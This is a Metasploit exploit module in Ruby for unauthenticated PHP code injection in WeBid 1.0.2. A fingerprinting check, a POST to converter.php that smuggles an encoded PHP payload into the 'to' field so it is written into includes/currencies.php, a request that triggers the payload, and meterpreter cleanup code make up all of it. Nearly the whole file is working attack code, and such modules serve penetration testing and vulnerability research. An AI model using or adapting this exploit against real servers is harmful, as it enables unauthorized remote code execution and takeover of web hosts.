## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'WeBid converter.php Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability found in WeBid version 1.0.2. By abusing the converter.php file, a malicious user can inject PHP code in the includes/currencies.php script without any authentication, which results in arbitrary code execution. }, 'Author' => [ 'EgiX', # Vulnerability Discovery, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '73609' ], [ 'EDB', '17487' ] ], 'Version' => '$Revision$', 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { }, 'DisclosureDate' => 'Jul 05 2011', 'Targets' => [ [ 'WeBid 1.0.2 / Ubuntu', {} ] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid']) ], self.class ) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => uri + "docs/changes.txt" }) if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/ return Exploit::CheckCode::Appears end res = send_request_cgi({ 'method' => 'GET', 'uri' => uri + "converter.php" }) if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def on_new_session(client) peer = "#{client.peerhost}:#{client.peerport}" if client.type != "meterpreter" print_error("#{peer} - NOTE: you must use a meterpreter payload in order to automatically cleanup.") print_error("#{peer} - The currencies.php won't be restored automatically.") return end # stdapi must be loaded before we can use fs.file client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") # Original currencies.php file currencies_php = <<-eof 'GBP', 'to' => 'AED', 'rate' => '') ); ?> eof currencies_php = currencies_php.gsub(/^\t\t\t/, '') pwd = client.fs.dir.pwd print_status("#{peer} - Searching currencies.php file from #{pwd}") res = client.fs.file.search(nil, "currencies.php", true, -1) res.each do |hit| filename = "#{hit['path']}/#{hit['name']}" print_warning("#{peer} - Restoring #{filename}") client.fs.file.rm(filename) fd = client.fs.file.new(filename, "wb") fd.write(currencies_php) fd.close end print_status("#{peer} - Cleanup finished") end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" stub = "\0'));#{payload.encoded}?>" print_status("#{peer} - Injecting the PHP payload") response = send_request_cgi({ 'uri' => uri + "converter.php", 'method' => "POST", 'vars_post' => { "action" => "convert", "from" => "USD", "to" => stub } }) if response and response.code != 200 print_error("Server returned non-200 status code (#{response.code})") return end print_status("#{peer} - Executing the PHP payload") timeout = 0.01 response = send_request_cgi({ 'uri' => uri + "includes/currencies.php", 'method' => "GET", 'headers' => { 'Connection' => "close", } }, timeout) if response and response.code != 200 print_error("Server returned non-200 status code (#{response.code})") end handler end end